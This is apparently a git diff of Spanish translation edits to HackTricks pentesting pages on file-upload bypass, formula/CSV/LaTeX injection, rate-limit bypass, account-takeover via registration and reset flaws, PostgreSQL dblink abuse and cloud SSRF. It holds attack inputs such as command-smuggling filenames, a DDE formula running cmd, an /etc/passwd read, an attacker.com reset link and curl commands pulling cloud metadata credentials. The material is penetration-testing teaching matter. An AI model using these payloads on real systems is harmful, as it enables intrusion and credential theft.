caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -43,7 +43,7 @@ Otras extensiones útiles: 5. Agrega **otra capa de extensiones** a la verificación anterior: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código): +6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con la extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código): - _ej: file.php.png_ 7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”) 8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php @@ -51,7 +51,7 @@ Otras extensiones útiles: ``` # Linux máximo 255 bytes /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 -Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png +Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png # Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -61,9 +61,9 @@ AAA<--SNIP 232 A-->AAA.php.png ### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento -- Elude las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_ +- Eludir las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_ 1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\ +- Eludir la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\ `exiftool -Comment="' >> img.png` @@ -94,11 +94,11 @@ Si estás intentando subir archivos a un **servidor ASP**, [echa un vistazo al t Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...) -La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecute**. +La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido que **esta extensión se ejecute**. ## **Jetty RCE** -Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, ¡sube el archivo XML a `$JETTY_BASE/webapps/` y espera el shell! +Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) @@ -106,9 +106,9 @@ Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque * Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`. +Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`. -Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas: +Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, que muestra varios esquemas: ```ini [uwsgi] ; read from a symbol @@ -164,15 +164,15 @@ Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta v ## De la carga de archivos a otras vulnerabilidades -- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **traversal de ruta** +- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal** - Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL** - Establezca **filename** en `` para lograr un XSS - Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md)) - [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- **JS** archivo **upload** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Redirección Abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* +- [**Redirección abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files) +- Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**. - [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) @@ -206,23 +206,23 @@ https://github.com/portswigger/upload-scanner Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivos. -## Carga de archivo Zip/Tar descomprimido automáticamente +## Carga de archivos Zip/Tar descomprimidos automáticamente Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer 2 cosas: ### Symlink -Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados: +Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Descomprimir en diferentes carpetas +### Decompress in different folders -La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de sistema operativo a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. +La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel de SO a través de cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de recorrido de directorios del formato de archivo ZIP pueden ser explotados. Esto permite a los atacantes eludir restricciones y escapar de directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo. -Un exploit automatizado para crear tales archivos está disponible en [**evilarc en GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra: +Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad se puede usar como se muestra: ```python # Listing available options python2 evilarc.py -h @@ -289,7 +289,7 @@ pop graphic-context ``` ## Incrustar Shell PHP en PNG -Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso. +Incrustar un shell PHP en el chunk IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso. Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones. @@ -299,15 +299,15 @@ Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shell Los archivos políglota sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como un GIF como un archivo RAR. Tales archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles. -La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, JS, PHP o archivos Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones. +La utilidad principal de los archivos políglota radica en su capacidad para eludir medidas de seguridad que filtran archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para subir—como JPEG, GIF o DOC—para mitigar el riesgo que presentan formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un políglota, al conformarse a los criterios estructurales de múltiples tipos de archivos, puede eludir sigilosamente estas restricciones. -A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga. +A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensiones de archivo de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga. Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Subir JSON válidos como si fuera PDF -Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido al falsificar un archivo PDF (técnicas de **[este blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, simulando un archivo PDF (técnicas de **[este blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): - **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (obtener ejemplo del post) - **`pdflib` library**: Agregar un formato PDF falso dentro de un campo del JSON para que la biblioteca piense que es un pdf (obtener ejemplo del post) diff --git a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index 11745af7c..5c754f28f 100644 --- a/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/src/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -1,8 +1,8 @@ -# Inyección de Fórmula/CSV/Doc/LaTeX/GhostScript +# Formula/CSV/Doc/LaTeX/GhostScript Injection {{#include ../banners/hacktricks-training.md}} -## Inyección de Fórmula +## Inyección de Fórmulas ### Información @@ -22,7 +22,7 @@ DDE ("cmd";"/C calc";"!A0")A0 ``` ### Hyperlink -**El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de excel final y para realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte las advertencias).** +**El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de excel final y para realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte los mensajes de advertencia).** El siguiente ejemplo fue tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) @@ -45,7 +45,7 @@ Imagina que una brecha de seguridad en un sistema de Gestión de Registros de Es **Consulta el** [**post original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **para más detalles.** -En configuraciones específicas o versiones más antiguas de Excel, se puede explotar una característica llamada Intercambio Dinámico de Datos (DDE) para ejecutar comandos arbitrarios. Para aprovechar esto, se deben habilitar las siguientes configuraciones: +En configuraciones específicas o versiones más antiguas de Excel, se puede explotar una función llamada Intercambio Dinámico de Datos (DDE) para ejecutar comandos arbitrarios. Para aprovechar esto, se deben habilitar las siguientes configuraciones: - Navega a Archivo → Opciones → Centro de Confianza → Configuración del Centro de Confianza → Contenido Externo, y habilita **Lanzamiento del Servidor de Intercambio Dinámico de Datos**. @@ -80,17 +80,17 @@ Google Sheets ofrece funciones que pueden ser explotadas para la exfiltración d ## Inyección de LaTeX Normalmente, los servidores que se encuentran en internet que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\ -Este programa utiliza 3 atributos principales para (des)habilitar la ejecución de comandos: +Este programa utiliza 3 atributos principales para (des)permitir la ejecución de comandos: - **`--no-shell-escape`**: **Deshabilita** el constructo `\write18{command}`, incluso si está habilitado en el archivo texmf.cnf. -- **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos** \*\*predefinidos (\*\*En Ubuntu 16.04 la lista está en `/usr/share/texmf/web2c/texmf.cnf`). +- **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos predefinidos** (**En Ubuntu 16.04 la lista está en `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Habilita** el constructo `\write18{command}`. El comando puede ser cualquier comando de shell. Este constructo normalmente está deshabilitado por razones de seguridad. Sin embargo, hay otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante usar `--shell-restricted`. ### Leer archivo -Es posible que necesite ajustar la inyección con envolturas como \[ o $. +Es posible que necesites ajustar la inyección con envolturas como \[ o $. ```bash \input{/etc/passwd} \include{password} # load .tex file diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 57ed6ed10..6ca2bf083 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -30,7 +30,7 @@ X-Forwarded-For: 127.0.0.1 ``` ### Cambiando Otros Encabezados -Alterar otros encabezados de solicitud, como el user-agent y las cookies, se recomienda, ya que también pueden ser utilizados para identificar y rastrear patrones de solicitud. Cambiar estos encabezados puede prevenir el reconocimiento y el seguimiento de las actividades del solicitante. +Alterar otros encabezados de solicitud como el user-agent y las cookies se recomienda, ya que también pueden ser utilizados para identificar y rastrear patrones de solicitud. Cambiar estos encabezados puede prevenir el reconocimiento y el seguimiento de las actividades del solicitante. ### Aprovechando el Comportamiento del API Gateway @@ -52,4 +52,8 @@ Si el sistema objetivo aplica limitaciones de tasa por cuenta o por sesión, dis Ten en cuenta que incluso si hay una limitación de tasa en su lugar, deberías intentar ver si la respuesta es diferente cuando se envía el OTP válido. En [**esta publicación**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), el cazador de bugs descubrió que incluso si se activa una limitación de tasa después de 20 intentos fallidos al responder con 401, si se envió el válido se recibió una respuesta 200. +### Herramientas + +- [**https://github.com/Hashtag-AMIN/hashtag-fuzz**](https://github.com/Hashtag-AMIN/hashtag-fuzz): hashtag-fuzz es una herramienta de fuzzing diseñada para probar y eludir WAFs y CDNs. Al aprovechar características avanzadas como User-Agent y valores de encabezado aleatorios, retrasos aleatorios, manejar multi-threading, fragmentación selectiva de listas de palabras y rotación de proxy Round Robin para cada fragmento, ofrece una solución robusta para profesionales de la seguridad que buscan identificar vulnerabilidades en aplicaciones web. + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index ebdfb9472..48f035502 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -10,7 +10,7 @@ - Verifica variando el correo electrónico: - mayúsculas - \+1@ -- agrega algún punto en el correo +- agrega algún punto en el correo electrónico - caracteres especiales en el nombre del correo (%00, %09, %20) - Pon caracteres en negro después del correo: `test@test.com a` - victim@gmail.com@attacker.com @@ -27,7 +27,7 @@ En ese caso, puedes intentar hacer un ataque de fuerza bruta a las credenciales. ### Inyección SQL -[**Consulta esta página** ](sql-injection/#insert-statement)para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro. +[**Consulta esta página** ](sql-injection/index.html#insert-statement)para aprender cómo intentar tomas de control de cuentas o extraer información a través de **Inyecciones SQL** en formularios de registro. ### Toma de Control de Oauth @@ -72,7 +72,7 @@ Cuando estés registrado, intenta cambiar el correo electrónico y verifica si e 4. Busca una URL de restablecimiento de contraseña basada en el _encabezado host_ como: `https://attacker.com/reset-password.php?token=TOKEN` ### Restablecimiento de Contraseña a Través del Parámetro de Correo Electrónico -```powershell +```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -102,9 +102,9 @@ Intente determinar si el token expira o si siempre es el mismo; en algunos casos - Timestamp - UserID -- Correo electrónico del usuario -- Nombre y apellido -- Fecha de nacimiento +- Email del Usuario +- Nombre y Apellido +- Fecha de Nacimiento - Criptografía - Solo números - Secuencia de token pequeña (caracteres entre \[A-Z,a-z,0-9]) @@ -157,7 +157,7 @@ Hackerone informa sobre la explotación de este error\ ### Toma de Control de Cuenta a través de CSRF -1. Crea un payload para el CSRF, p. ej.: “Formulario HTML con envío automático para un cambio de contraseña” +1. Crea un payload para el CSRF, p. ej: “Formulario HTML con envío automático para un cambio de contraseña” 2. Envía el payload ### Toma de Control de Cuenta a través de JWT diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 8915c6441..ec3e33d8d 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -25,8 +25,8 @@ Otra posible mala configuración consiste en algo como esto: ``` host all all 127.0.0.1/32 trust ``` -Como permitirá que todos desde el localhost se conecten a la base de datos como cualquier usuario.\ -En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** al conectarte a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder: +Como permitirá que cualquier persona desde el localhost se conecte a la base de datos como cualquier usuario.\ +En este caso y si la función **`dblink`** está **funcionando**, podrías **escalar privilegios** conectándote a la base de datos a través de una conexión ya establecida y acceder a datos a los que no deberías poder acceder: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres @@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT); ``` ### Escaneo de Puertos -Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los usuarios no superusuarios conectarse utilizando cualquier método de autenticación**. +Abusando de `dblink_connect` también podrías **buscar puertos abiertos**. Si esa **función no funciona, deberías intentar usar `dblink_connect_u()` ya que la documentación dice que `dblink_connect_u()` es idéntica a `dblink_connect()`, excepto que permitirá a los no superusuarios conectarse utilizando cualquier método de autenticación**. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index b341dc808..485565369 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -6,14 +6,14 @@ ### Abusando de SSRF en el entorno de AWS EC2 -**El endpoint de metadatos** se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: `http://169.254.169.254` ([información sobre los metadatos aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). +**El endpoint de metadatos** se puede acceder desde cualquier máquina EC2 y ofrece información interesante sobre ella. Es accesible en la url: `http://169.254.169.254` ([información sobre el metadato aquí](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). Hay **2 versiones** del endpoint de metadatos. La **primera** permite **acceder** al endpoint a través de solicitudes **GET** (por lo que cualquier **SSRF puede explotarlo**). Para la **versión 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), necesitas solicitar un **token** enviando una solicitud **PUT** con un **encabezado HTTP** y luego usar ese token para acceder a los metadatos con otro encabezado HTTP (por lo que es **más complicado de abusar** con un SSRF). > [!CAUTION] -> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, lo que hace imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2. +> Ten en cuenta que si la instancia EC2 está aplicando IMDSv2, [**según la documentación**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), la **respuesta de la solicitud PUT** tendrá un **límite de salto de 1**, haciendo imposible acceder a los metadatos de EC2 desde un contenedor dentro de la instancia EC2. > -> Además, **IMDSv2** también **bloqueará las solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para prevenir que proxies inversos mal configurados puedan acceder a él. +> Además, **IMDSv2** también **bloqueará solicitudes para obtener un token que incluyan el encabezado `X-Forwarded-For`**. Esto es para evitar que proxies inversos mal configurados puedan acceder a él. Puedes encontrar información sobre los [endpoints de metadatos en la documentación](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). En el siguiente script se obtiene información interesante de él: ```bash @@ -79,7 +79,7 @@ Como un **ejemplo de credenciales IAM disponibles públicamente** expuestas, pue También puedes verificar **credenciales de seguridad EC2 públicas** en: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) -Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que ese rol tenga permisos** para hacer. +Luego puedes tomar **esas credenciales y usarlas con el AWS CLI**. Esto te permitirá hacer **cualquier cosa que el rol tenga permisos** para hacer. Para aprovechar las nuevas credenciales, necesitarás crear un nuevo perfil de AWS como este: ``` @@ -92,9 +92,9 @@ Nota el **aws_session_token**, esto es indispensable para que el perfil funcione [**PACU**](https://github.com/RhinoSecurityLabs/pacu) se puede usar con las credenciales descubiertas para averiguar tus privilegios e intentar escalar privilegios. -### SSRF en credenciales de AWS ECS (Servicio de Contenedores) +### Credenciales SSRF en AWS ECS (Servicio de Contenedores) -**ECS** es un grupo lógico de instancias de EC2 en las que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**. +**ECS** es un grupo lógico de instancias EC2 en las que puedes ejecutar una aplicación sin tener que escalar tu propia infraestructura de gestión de clústeres porque ECS gestiona eso por ti. Si logras comprometer un servicio que se ejecuta en **ECS**, los **puntos finales de metadatos cambian**. Si accedes a _**http://169.254.170.2/v2/credentials/\**_ encontrarás las credenciales de la máquina ECS. Pero primero necesitas **encontrar el \**. Para encontrar el \ necesitas leer la variable **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** dentro de la máquina.\ Podrías ser capaz de leerlo explotando un **Path Traversal** a `file:///proc/self/environ`\ @@ -141,7 +141,7 @@ Puedes [**encontrar aquí la documentación sobre los endpoints de metadatos**]( ### URL SSRF para Google Cloud -Requiere el encabezado HTTP **`Metadata-Flavor: Google`** y puedes acceder al endpoint de metadatos con las siguientes URL: +Requiere el encabezado HTTP **`Metadata-Flavor: Google`** y puedes acceder al endpoint de metadatos con las siguientes URLs: - http://169.254.169.254 - http://metadata.google.internal @@ -226,7 +226,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` -Beta NO requiere un encabezado atm (gracias Mathias Karlsson @avlidienbrunn) +Beta NO requiere un encabezado en este momento (gracias Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true @@ -235,11 +235,11 @@ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true > Para **usar el token de cuenta de servicio exfiltrado** solo puedes hacer: > > ```bash -> # Via env vars +> # A través de variables de entorno > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > -> # Via setup +> # A través de la configuración > echo "" > /some/path/to/token > 